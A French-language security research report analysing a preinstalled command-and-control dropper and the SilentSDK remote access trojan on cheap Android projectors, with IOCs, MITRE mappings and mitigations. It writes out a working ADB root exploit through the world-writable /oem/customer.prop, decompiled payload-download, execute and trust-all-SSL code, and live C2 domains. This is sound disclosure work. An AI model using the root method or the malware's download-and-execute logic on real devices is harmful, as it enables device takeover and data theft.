
Analyse d'un réseau C2 de beamers chinois - SilentSDK-Analysis
Rapport d'analyse technique — Recherche en sécurité
Appareils concernés : De multiples projecteurs Android de marques de projecteurs comme Nonete (par ex., modèle HY260Pro) (probablement aussi plusieurs projecteurs de Magcubic, Hotack, Huyukang et bien d'autres, car ces entreprises distribuent des modèles similaires et des indications le confirment)
Plateforme de chipset : Allwinner H713 / sun50iw12p1 — potentiellement affecte tous les appareils de cette plateforme
Période d'analyse : 11–17 avril 2026
Classification : Infrastructure de commande et de contrôle pré-installée avec charge utile de cheval de Troie d'accès à distance
api.pixelpioneerss.com), extrait des identifiants d'appareil sensibles, et peut télécharger et exécuter à tout moment du code malveillant supplémentaire arbitraire avec les privilèges root (chmod 777). De plus, les appareils présentent des backdoors root ouvertes.*.aodintech.com, api.pixelpioneerss.com, sta.smartinnovate.net) doivent être bloqués au niveau réseau. Les utilisateurs concernés ne peuvent désactiver manuellement les applications malveillantes que via ADB, car elles sont profondément intégrées dans le système.L'infrastructure malveillante documentée dans ce rapport est pré-installée sur des projecteurs Android actuellement vendus en grande quantité aux consommateurs finaux sur Amazon, eBay et AliExpress. Les appareils concernés couvrent peut-être plusieurs noms de marque (Hotack, Huyukang, Magcubic, Nonete, entre autres). Une infrastructure C2 identique a été confirmée indépendamment sur d'autres appareils du même fabricant (voir section 13). Le schéma correspond aux cas BADBOX.
Appareil acheté : Lien Amazon - Nonete Mini Beamer 4K 1080P
Remarque sur la portée : Le chipset Allwinner H713 est intégré dans de nombreux projecteurs Android bon marché vendus sous des noms de marque changeants sur le marché européen. La base de firmware identique (h713_tuna_p3) et l'opérateur C2 identique (Shenzhen Aodin Technology) suggèrent fortement que tous les appareils de cet OEM contiennent la même infrastructure.
L'accès root a été obtenu grâce à une combinaison de trois vulnérabilités :
/oem accessible en écriture mondiale — La partition est montée en FAT avec fmask=0000.customer.prop chargé au démarrage — Écrase les propriétés système.```bash
adb shell getenforce # Result: Permissive
adb shell ls -la /oem/ # All files world-writableadb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
adb reboot && adb wait-for-device && adb root adb shell id
**Impact :** Tout utilisateur ayant un accès physique ou un attaquant sur le même réseau (via ADB, port 5555 ouvert, sans authentification) obtient un accès root complet.
---
## 4. Réponse du serveur C2 — Preuve principale
### Requête HTTP capturée```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12
La réponse compressée en gzip contient une liste JSON de sept applications. Six d'entre elles sont des applications de streaming classiques (YouTube, Netflix, Disney+, Prime Video, Chrome, BrowseHere). La septième est SilentTools :
{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }
**Interprétation des flags :**
- `isShow: false` — L'application n'apparaît pas dans l'interface du store.
- `isForce: true` — Supposément force l'action (installation ou mise à jour).
- `isSilentUninstall: true` — Peut se désinstaller elle-même sans interaction utilisateur.
- `launchType: 1` — Démarre automatiquement le service en arrière-plan.
- `launchParam: MyService` — Référence au service persistant.
- `zone: "Global"` — Cible tous les appareils dans le monde.
- `reverseLen` — Longueur en octets nécessaire pour restaurer le `.apk` SilentSDK.
### Chemin de téléchargement chiffré
Le champ `path` est chiffré en AES-CBC :
- **Clé/IV :** `[REDACTED]` (AES-CBC, Raw) -> Le ChannelID de l'appareil.
- **Résultat déchiffré :**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp
Remarque : L'extension de fichier .bpp est probablement utilisée pour contourner les pare-feu, le fichier étant renommé en .apk lors de l'exécution. Le champ isSilentInstall est false dans cette capture. La sémantique exacte de isForce: true n'a pas pu être reconstruite sans ambiguïté à partir du code décompilé. Il n'est pas exclu que la valeur soit définie dynamiquement à true côté serveur.
L'appareil contient quatre applications système interagissant entre elles, toutes signées avec la clé de test AOSP et s'exécutant sous l'UID 1000 (System) :```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com
+ ExpandSDK (Ad-Injection)
→ pb-api.aodintech.com
## 6. StoreOS — Analyse du dropper
StoreOS semble être un magasin d'applications installé automatiquement ; cependant, il remplit la fonction d'un dropper.
**Paquet :** `com.htc.storeos`
**SHA-256 :** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`
**VirusTotal :** BitDefender : `Android.Riskware.TestKey.rB`
### Autorisations
| Permission | Impact |
|:---|:---|
| `INSTALL_PACKAGES` | Installation silencieuse sans dialogue utilisateur |
| `CLEAR_APP_USER_DATA` | Suppression de données arbitraires d'applications |
| `MASTER_CLEAR` | Déclenchement de la réinitialisation d'usine |
| `WRITE_SECURE_SETTINGS` | Modification des paramètres de sécurité |
| `DEVICE_POWER` | Gestion de l'alimentation du périphérique |
| `MANAGE_EXTERNAL_STORAGE` | Accès complet au stockage externe |
### Chaîne d'installation (à partir du code décompilé)
1. **BootReceiver** démarre `CheckUpdateService`.
2. POST HTTP vers `store-api.aodintech.com/sign/app/list`.
3. Le serveur fournit `AppsData[]` contenant les champs : `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. `DownloadService` récupère les APK sous forme de fichiers `.bpp` depuis le CDN.
5. **Protection par inversion d'octets :** Les premiers `reverseLen` octets sont inversés avant écriture sur le disque (mesure anti-analyse).
6. Vérification MD5 du fichier téléchargé.
7. Installation via `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. `StartAppService` lance l'application installée selon `launchParam`.
### Mécanisme d'inversion d'octets — Preuve technique
**Classe :** `AbstractC2057b` — **Méthode :** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX
Cette méthode inverse les premiers `reverseLen` octets de chaque APK téléchargé. En conséquence, les fichiers `.bpp` interceptés ne peuvent pas être reconnus ou extraits comme des APK valides sans connaître la valeur spécifique de `reverseLen`.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
reverseLen = fileSize;
offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
byte tmp = buffer[head];
buffer[head] = buffer[tail];
buffer[tail] = tmp;
head++; tail--;
}
// 3. Copy the remaining bytes unchanged
Invocation dans le chemin de téléchargement (Class RunnableC1595d, case 0) :```java
if (downInfo.getReverseLen() != 0) {
String outputPath = inputPath.replace(".apk", "des.apk");
if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
// Error handling
return;
}
downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation
En inversant ce mécanisme, l'APK SilentSDK a été décodé et analysé avec succès.
### Geo-ciblage
StoreOS utilise `api.ipdatacloud.com/v2/query` pour la géolocalisation IP. La classe `SpecialApps` contient des champs pour `continent` et `countryCode`, permettant une distribution de la charge utile spécifique à la région.
---
## 7. EventUploadService — Télémétrie
**Package:** `com.htc.eventuploadservice`
**Cible:** `http://event-api.aodintech.com/report`
**Intervalle:** Toutes les 5 minutes
| Champ | Exemple de valeur | Impact sur la vie privée |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | Adresse MAC (PII) |
| `deviceSn` | `[REDACTED]` | Numéro de série (Unique) |
| `channel` | `HY260Pro_hy_TPYB` | Canal du firmware |
| `version` | `Projector.20250422.152235` | Version du firmware |
| `model` | `NT10` | Modèle de l'appareil |
| `language` | `en_US` | Paramètre de langue |
La transmission s'effectue non chiffrée via HTTP et sans consentement de l'utilisateur. L'adresse MAC et le numéro de série permettent l'identification et le suivi précis d'appareils individuels.
---
## 8. ExpandSDK — Injection de publicités
**Package:** `com.htc.expandsdk`
**Serveurs C2:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`
ExpandSDK utilise le SDK TCL VastAd pour les publicités vidéo VAST et est capable d'afficher des boîtes de dialogue de superposition système (`SYSTEM_ALERT_WINDOW`) à n'importe quelle position à l'écran. La configuration comprend des champs de position (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) et l'identifiant partenaire `htk` (Hotack).
ExpandSDK fonctionne indépendamment de SilentSDK en tant que canal de monétisation distinct.
---
## 9. SilentSDK — Analyse du RAT
**Package:** `com.hotack.silentsdk`
**SHA-256 (décodé):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`
**MD5 (décodé):** `5df097591d6942bae4eff33a37c4e28f`
### Analyse du manifeste
| Propriété | Valeur | Signification |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | Privilèges système (UID 1000) |
| `usesCleartextTraffic` | `true` | Trafic HTTP autorisé |
| Icône du lanceur | Non visible pour l'utilisateur | Masqué de l'interface utilisateur |
| `BootReceiver` | Priority 999 | Démarre avant presque toutes les autres applications |
| `MyService` | exported, foreground | Service d'arrière-plan persistant |
| `BootStartActivity` | `com.htc.bootstart` | Déclencheur de démarrage supplémentaire |
### Empaquetage et déchiffrement DEX
Le DEX original est empaqueté : l'en-tête déclare 2 318 316 octets, mais le fichier compressé ne contient que 65 536 octets avec une somme de contrôle Adler32 invalide. Après avoir cassé la protection d'inversion d'octets de StoreOS, le DEX devient entièrement lisible — la taille du fichier et la taille déclarée correspondent, et 16 241 chaînes sont extractibles.
### Obfuscation XOR — Preuve technique
Toutes les chaînes pertinentes pour la sécurité sont obscurcies à l'aide d'un chiffrement XOR rotatif dans la méthode `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
int i3 = 0, i4 = 0;
while (i3 < data.length) {
if (i4 >= key.length) i4 = 0;
data[i3] = (byte) (data[i3] ^ key[i4]);
i3++; i4++;
}
return new String(data);
}
Ceci ne représente qu'une partie des chaînes déchiffrées.
Le flux de récolte d'adresse MAC révèle un contournement délibéré des autorisations : lorsque WifiInfo.getMacAddress() renvoie la fausse adresse MAC protégée par la vie privée d'Android (02:00:00:00:00:00), le malware se rabat sur la lecture de la véritable adresse MAC matérielle directement depuis /sys/class/net/wlan0/address via un shell root — un comportement jamais observé dans les applications légitimes.
L'analyse suivante retrace la chaîne d'exécution complète depuis le démarrage de l'application jusqu'au contrôle persistant du C2. Les noms de classes font référence aux identifiants désobfusqués par JADX.
MyApplication.java — Point d'entrée
La redéfinition de Application.onCreate() est le premier code à s'exécuter. Il appelle immédiatement C0561f.m1737c avec le ApplicationContext, amorçant toute la machinerie du malware avant que l'interface utilisateur ne soit rendue.
AbstractC0577v.java — Contexte
Si l'application hôte ne fournit pas volontairement son contexte, cette classe utilise une réflexion système approfondie (android.app.ActivityThread) pour voler de manière autonome le ApplicationContext global. Cela garantit au SDK un accès complet aux fichiers, aux services système et à la gestion des paquets sans dépendre de l'application hôte.
C0578w.java — Observateur du cycle de vie des activités
S'enregistre en tant que ActivityLifecycleCallbacks pour surveiller chaque interaction utilisateur : quel écran est ouvert, si l'application est au premier plan ou en arrière-plan. De manière cruciale, il réactive les animations système désactivées et manipule les paramètres SoftInputMode — prérequis pour afficher des superpositions invisibles (par exemple, pour la fraude au clic) sans alerter l'utilisateur via des pop-ups de clavier inattendus.
AbstractC0562g.java — Génération de l'ID de bot
Génère une empreinte numérique agressive de l'appareil en concaténant : UUID aléatoire + Build.BRAND + Build.MODEL + adresse MAC physique (récoltée via cat /sys/class/net/wlan0/address, contournant les protections de vie privée d'Android) + android_id + horodatage. La chaîne résultante est hachée en MD5 et stockée comme adid — l'ID de bot permanent utilisé pour enregistrer l'appareil auprès du serveur C2.
C0565j.java — Contournement du certificat SSL
Un X509TrustManager manipulé avec des méthodes de validation complètement vides (checkClientTrusted, checkServerTrusted). Cela garantit que le malware accepte aveuglément tout certificat SSL, empêchant les mécanismes de sécurité d'Android de bloquer la communication C2 — même si le serveur C2 est compromis ou utilise un certificat invalide.```java
// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
sslContext.getSocketFactory()
);
Si une erreur SSL (`SSLException`) se produit, `f2664e` est défini sur `false` et toutes les requêtes suivantes utilisent HTTP au lieu de HTTPS.
#### Phase 3 : Acquisition de la charge utile
**`C0566k.java` — Solution de repli hors ligne (charge utile intégrée)**
Avant de contacter le réseau, cette classe vérifie si une charge utile est déjà incluse dans l'APK à l'emplacement `assets/m17gawxG.java`. Si c'est le cas, elle lit le fichier octet par octet et le déchiffre à l'aide d'une clé XOR codée en dur (`m17gawxG`). Le résultat est écrit sous forme de fichier exécutable `.temp`. Cela garantit que le RAT peut s'activer même sur des appareils déconnectés ou lorsque le serveur C2 est inaccessible.
**`RunnableC0569n.java` — Téléchargeur C2 en direct**
Si la solution de repli hors ligne échoue, cette classe assemble une balise JSON contenant l'ID du bot, le nom du paquet et la version Android, puis contacte le point d'accès C2 `api.pixelpioneerss.com` :
**Étape 1 — Génération d'URL avec chemin aléatoire :**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s
Étape 2 — Beacon Payload:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version
**Étape 3 — Chiffrement AES et Transmission :**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message
Étape 4 — Traitement de la réponse du serveur :```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes
Le téléchargeur (`AbstractC0000a.m37h`) récupère la charge utile puis utilise un shell root pour lui accorder les permissions d'exécution complètes via `chmod 777`.
Toutes les requêtes C2 portent l'en-tête HTTP personnalisé `a: 1003` — une signature au niveau réseau de cette famille de logiciels malveillants.
#### Phase 4: Exécution et Contrôle
**`AbstractC0568m.java` — Zone de préparation**
Crée un répertoire caché nommé **`TMRXwWJu3G5`** sur le système de fichiers de l'appareil où toutes les charges utiles téléchargées sont préparées. Cette classe contient également des méthodes (`m1754e`) qui interceptent les événements de touches physiques (`KeyEvent`), empêchant l'utilisateur d'appuyer sur le bouton « Retour » pendant qu'un overlay malveillant est actif.
**`C0561f.java` — L’orchestrateur**
Relie toute la chaîne. Il appelle le code fortement obscurci dans `C0566k.m1746b`, qui utilise la réflexion pour construire la chaîne `"dalvik.system.DexClassLoader"` et l'initialiser. Le ClassLoader est ensuite forcé de charger et exécuter la classe de charge utile finale :```
com.me.cash5.OoO0OOo
À partir de ce point, la charge utile chargée dynamiquement a un contrôle total dans le contexte du processus de l'application (UID 1000 / Système).
AbstractC0563h.java & C0558c.java — Collecte de télémétrie
Chaque chargement de module, événement d'erreur (par exemple, échec de téléchargement) ou affichage d'overlay déclenche un rapport d'état (codé comme "e6", "e4" pour les erreurs SSL, etc.). C0558c exécute un thread de collecte dédié ("burying_loop_s") qui agrège ces événements. Toutes les 5 secondes, il assemble un paquet JSON de télémétrie complet avec des champs comme "d" (modèle d'appareil), "e" (version SDK), "c" (ID Android).
RunnableC0564i.java — Exfiltrateur de données
Prend le JSON de télémétrie, le compresse avec GZIPOutputStream (pour entraver l'analyse du trafic), puis le chiffre avec un AES personnalisé — en ajoutant les clés dynamiques au texte chiffré. Le paquet GZIP-AES résultant est transmis via le TrustManager contournant SSL à un serveur de suivi dédié :```
bur.thedynamicleap.com
Il s'agit d'un **domaine C2 distinct** du domaine principal `api.pixelpioneerss.com`, utilisé exclusivement pour l'exfiltration de télémétrie.
**`AbstractC0572q.java` & `RunnableC0560e.java` — Heartbeat et auto-réparation**
Le mécanisme de persistance. `AbstractC0572q` maintient une minuterie sur le thread principal. Si une partie de la chaîne d'infection échoue (par exemple, pas d'internet pendant le téléchargement), il déclenche `sendEmptyMessageDelayed(..., 60000L)`. Après exactement 60 secondes, `RunnableC0560e` (en tant que worker en arrière-plan) redémarre toute la machinerie d'infection depuis le début. Cette boucle se répète indéfiniment jusqu'à ce que l'infection réussisse.
### Persistance et chargement dynamique — Résumé
La méthode `m1762a()` dans `RunnableC0569n` implémente le cycle complet de téléchargement de la charge utile :
1. Télécharger le fichier DEX depuis le C2.
2. Vérifier le hachage MD5.
3. Enregistrer le numéro de version dans SharedPreferences.
4. Charger et exécuter le DEX via `DexClassLoader` ou `Runtime.exec()`.
5. En cas d'erreur : Incrémenter le compteur de tentatives dans SharedPreferences, faire une pause après 13 tentatives échouées — puis le heartbeat de 60 secondes redémarre le cycle.
## 9.1. La charge utile du malware
Après avoir envoyé cette requête au serveur C2 :```json
{
"a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
"b":"f101", //CampaignID injected in MyApplication.java
"c":"com.hotack.silentsdk", //Package name
"d":0,
"f":"c0:3a:4b:11:22:33", // Device MAC address
"h":30, //Version
}
Réponse:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }
---
## 10. Le malware
Après la récupération réussie et l'analyse plus approfondie de la charge utile, j'ai déterminé—après avoir contourné des couches importantes de chiffrement personnalisé et d'obfuscation—que le malware utilise une architecture hautement modulaire. Il fonctionne comme un framework sophistiqué capable de télécharger dynamiquement, de mettre à jour, de redémarrer et de supprimer activement des plugins pour détruire les preuves forensiques. Ces charges utiles sont exécutées avec les privilèges root. De plus, le code révèle des mécanismes conçus pour superposer des WebViews complètes sur l'écran, ce qui indique fortement des capacités avancées d'hameçonnage. Le malware démontre également des tactiques avancées de ciblage et d'évasion : il met en œuvre un géorepérage strict pour frapper des régions spécifiques, profile l'architecture CPU (en distinguant `arm64`, `armeabi`, `x86` et `mips`), et contourne activement la validation des certificats SSL pour sécuriser ses communications C2. Je garde ce résumé volontairement bref pour l'instant, car la lourde obfuscation nécessite un processus de rétro-ingénierie long et en cours.
## 11. Backdoors système
### 11.1 Binaire `su` caché : `/system/bin/qw`
Un binaire `su` renommé en `qw` (Koushikdutta Superuser, 388 Ko, lié statiquement, ARM 32 bits) :```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
user root
group root
class core
/dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)Le certificat de signature de plateforme est la clé de test incluse publiquement dans le code source AOSP (Cert Index 0 dans packages.xml). Toute application signée avec cette clé reçoit automatiquement les privilèges système sur l'appareil. La clé est librement accessible à tout développeur Android.
dbgserver/vendor/bin/dbgserver — Serveur d'E/S de registres matériels, communiquant via le périphérique accessible à tous /dev/hidtvreg (crwxrwxrwx).
Toutes les communications C2 transitent par HTTP non chiffré. Cela permet des attaques MITM (Man-In-The-Middle) : un attaquant sur le même réseau peut manipuler la liste des applications et injecter des APK arbitraires, qui seront ensuite installés avec les privilèges système.
L'appareil se fait passer pour le Google ADT-3 (kit de développement Android TV) :
| Propriété |
|---|
Cette usurpation est vraisemblablement destinée à contourner les contrôles de certification Google Play.
En janvier 2026, le chercheur en sécurité Zane St. John a publié une analyse d'appareils identiques hébergeant exactement la même infrastructure malveillante. Les résultats concordent sur tous les points essentiels : points d'accès C2, obfuscation XOR, protocole AES-128-CBC, ID de campagne f101, contournement SSL et chmod 777. L'appareil analysé par Zane St. John semble déjà avoir été infecté par SilentSDK, ce qui n'était pas le cas sur mon appareil dès la sortie de l'emballage. Les points d'accès dans l'analyse de Zane St. John semblent également légèrement modifiés, indiquant la possibilité d'une rotation des points d'accès. De plus, SilentSDK semble être préinstallé dans son cas, alors que sur mon appareil il semble être téléchargé et installé dès que aodintech envoie le signal de déclenchement.
Source : https://zanestjohn.com/blog/reing-with-claude-code
| Source | MD5 |
|---|
Les empreintes issues de la distribution du serveur C2, de notre propre déchiffrement et de l'analyse externe sont identiques — confirmant qu'il s'agit exactement du même logiciel malveillant. Cela confirme la large dissémination du logiciel malveillant.
StoreOS-APK : BitDefender détecte Android.Riskware.TestKey.rB ; aucun autre moteur antivirus ne déclenche d'alerte.
api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server
### Signatures réseau```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003 # SilentSDK Signature
POST /sign/app/list # StoreOS C2 Beacon
POST /report # EventUpload Telemetry
com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk
### Système de fichiers```text
/system/bin/qw # su Binary
/dev/com.koushikdutta.superuser.daemon/server # su Socket
/oem/customer.prop # World-writable
/vendor/bin/dbgserver # HW-Debug
/dev/hidtvreg # World-writable
assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload
---
## 16. Cartographie MITRE ATT&CK
| Technique | ID | Preuve |
|:---|:---|:---|
| Compromission de la chaîne d'approvisionnement | T1195.002 | Usine à logiciels malveillants préinstallée |
| Exécution automatique au démarrage ou à l'ouverture de session | T1547 | BootReceiver Priority 999 |
| Fichiers ou informations obscurcis | T1027 | Chaînes XOR, empaquetage DEX, ressource XOR-chiffrée intégrée |
| Protocole de couche applicative | T1071 | HTTP/HTTPS C2 |
| Échange dynamique de données / Injection de charge utile | T1055 | DexClassLoader, chmod 777 |
| Découverte d'informations système | T1082 | Empreinte numérique de l'appareil, génération d'ID de bot |
| Données du système local | T1005 | MAC, Serial, IMEI, android_id |
| Exfiltration via canal C2 | T1041 | Télémétrie périodique vers `bur.thedynamicleap.com` |
| Usurpation d'identité | T1036 | Extension de fichier .bpp, usurpation ADT-3 |
| Rootkit | T1014 | Binaire su caché |
| Capture de saisie | T1056 | Interception de KeyEvent pour désactiver le bouton Retour |
| Suppression d'indicateurs / Auto-suppression | T1070 | Capacité `isSilentUninstall: true` |
| Chargement réflexif de code | T1620 | Instanciation réflexive de DexClassLoader |
| Superposition de fenêtre système | T1624 | Manipulation de SoftInputMode pour des superpositions invisibles |
---
## 17. Atténuations immédiates
### Pour les utilisateurs finaux concernés```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate
store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com
---
## 18. Sources
1. Zane St. John : « Reverse-Engineering Pre-installed Android Malware with Claude Code », janvier 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI : « BSI warns against pre-installed malware on IoT devices » (BADBOX), octobre 2023.
3. Analyse VirusTotal de l'APK StoreOS.
---
**Période d'analyse :** 11–17 avril 2026
**Avertissement**
À des fins éducatives et de recherche uniquement. Ce rapport est fourni « en l'état » à titre informatif concernant les menaces de cybersécurité. L'analyse repose sur un instantané de l'écosystème malveillant actuel ; le reverse engineering étant un processus continu, les conclusions peuvent évoluer à mesure que de nouvelles données deviennent disponibles.
Ce rapport a été compilé de bonne foi et au mieux de mes connaissances, sur la base de l'analyse de données binaires et de code source décompilé. En raison du niveau élevé d'obfuscation et de la nature évolutive de la menace, ces conclusions représentent un état actuel de la recherche. Bien que les preuves étayent fortement les conclusions tirées, celles-ci peuvent être affinées à mesure que de nouvelles preuves techniques sont découvertes.
| Propriété | Valeur |
|---|
| Nom de marque | Nonete HY260Pro (modèle vendu par plusieurs entreprises) |
| Nom du modèle interne | NT10 |
| SoC | Allwinner sun50iw12p1 (ARM 32 bits) |
| Système d'exploitation | SpectraOS (Android 11, noyau 5.4.99) |
| Empreinte de build réelle | Allwinner/h713_tuna_p3/h713-tuna_p3:11 |
| Empreinte de build usurpée | ADT-3/adt3/adt3:11/RP1A.201005.006 |
| SELinux | Permissif (aucune application) |
| Clé de signature de plateforme | Clé de test publique AOSP |
| Certificat OEM | CN=蓝鲨, OU=www.bsh.me, C=CN |
| Canal du firmware | HY260Pro_SpectraOS_TPYB |
| Étape | Action | Résultat |
|---|
| 1 | Capture du trafic réseau avec Wireshark | Trafic HTTP vers store-api.aodintech.com |
| 2 | Décodage de la réponse C2 compressée en gzip | 7 applications, dont « SilentTools » cachée |
| 3 | Déchiffrement AES-CBC du chemin de téléchargement | Clé [REDACTED], URL vers fichier .bpp |
| 4 | Exploitation root via /oem/customer.prop | uid=0(root) après injection de propriété |
| 5 | Extraction forensique de /data, /oem, /system | APK, bases de données, configurations |
| 6 | Analyse statique du DEX de StoreOS | pm install -r -d, protection par inversion d'octets |
| 7 | Rétro-ingénierie du mécanisme reverseLen | Compréhension de la protection anti-analyse |
| 8 | Contournement de la protection par inversion d'octets | DEX SilentSDK déchiffré et analysable |
| 9 | Déchiffrement XOR des chaînes de SilentSDK | Domaine C2 api.pixelpioneerss.com confirmé |
| 10 | Vérification de hachage sur trois sources | MD5/SHA-256 correspondent parfaitement |
| 11 | Rétro-ingénierie du processus de téléchargement du malware | Serveurs toujours en ligne |
| 12 | Rétro-ingénierie du malware | Framework RAT basé sur des plugins |
| Application | Package | isShow | isForce | isSilent Install | isSilent Uninstall | launch Type |
|---|
| YouTube | com.google.android.youtube.tv | true | false | false | false | 0 |
| Disney+ | com.disney.disneyplus | true | false | false | false | 0 |
| Netflix | com.netflix.mediaclient | true | false | false | false | 0 |
| Chrome | com.android.chrome | true | false | false | false | 0 |
| Prime Video | com.amazon.amazonvideo.livingroom | true | false | false | false | 0 |
| BrowseHere | com.tcl.browser | true | false | false | false | 0 |
| SilentTools | com.hotack.silentsdk | false | true | false | true | 1 |
| Appel obscurci | Résultat | Fonction |
|---|
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...}) | api.pixelpioneerss.com | Domaine C2 |
m36g({7,-68}, {116,-44,...}) | sh | Binaire shell pour Runtime.exec() |
m36g({-83,-92,-19,...}, {-50,-52,...}) | chmod 777 | Commande shell |
m36g({-47,-3,-68,106,-76}, {-1,-119,...}) | .temp | Suffixe de fichier temporaire pour les téléchargements |
m36g({125,61,58,...}, {21,73,78,...}) | https:// | Protocole principal |
m36g({0,90,58,...}, {104,46,78,...}) | http:// | Repli en cas d'erreur SSL |
m36g({-22,78,57}, {-71,29,117,...}) | SSL | Protocole TLS |
m36g({-15}, {-112,...}) | a | Nom d'en-tête personnalisé → valeur 1003 |
m36g({17,67,42}, {124,39,...}) | md5 | MessageDigest.getInstance("md5") |
m36g({-15,90,-128,21}, {-122,51,...}) | wifi | getSystemService("wifi") |
m36g({-48,89,-25,-31,...}, {-73,60,...}) | getprop wifi.interface | Repli shell : lire le nom de l'interface |
m36g({-95,-26,-107,-91,...}, {-62,-121,...}) | cat /sys/class/net/ | Repli shell : lire l'adresse MAC (préfixe) |
